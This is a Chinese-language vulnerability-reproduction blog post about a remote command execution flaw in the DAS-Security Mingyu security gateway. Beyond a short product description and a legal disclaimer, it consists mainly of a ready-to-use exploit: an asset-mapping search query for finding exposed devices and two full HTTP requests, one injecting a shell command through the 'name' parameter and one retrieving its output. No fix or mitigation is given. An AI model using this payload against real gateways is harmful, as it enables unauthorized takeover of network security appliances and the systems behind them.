安恒明御安全网关aaa_local_web_custom_auth_html存在远程命令执行

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已于 2025-05-23 13:04:07 修改

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分类专栏：漏洞复现文章标签：安全 web安全漏洞复现漏洞利用网络安全漏洞库渗透测试

于 2025-05-22 23:58:26 首次发布

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本文章仅做网络安全技术研究使用！严禁用于非法犯罪行为，请严格遵守国家法律法规；请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者无关。使用本文所提供的信息或工具即视为同意本免责声明，并承诺遵守相关法律法规和道德规范。

一、问题简介

安恒信息明御安全网关（以下简称“NGFW”）秉持安全可视、简单有效的理念，以资产为视角，构建“事前+事中+事后”全流程防御的下一代安全防护体系，并融合传统防火墙、入侵防御系统、防病毒网关、上网行为管控、VPN网关、威胁情报等安全模块于一体的智慧化安全网关。安恒明御安全网关aaa_local_web_custom_auth_html存在远程命令执行。攻击者可通过命令执行获取服务器权限。

二、影响版本

安恒明御安全网关

三、资产测绘

hunter app.name="安恒明御安全网关"

四、问题复现

GET /webui/?g=aaa_local_web_custom_auth_html_submit&name=;echo%09`ls`|tee%09out; HTTP/1.1
Host: 
Cookie: USGSESSID=5c727beed17c9e76eeab71453e91c784
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: keep-alive

获取命令执行结果

GET /webui/out HTTP/1.1
Host: 
Cookie: USGSESSID=5c727beed17c9e76eeab71453e91c784
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: keep-alive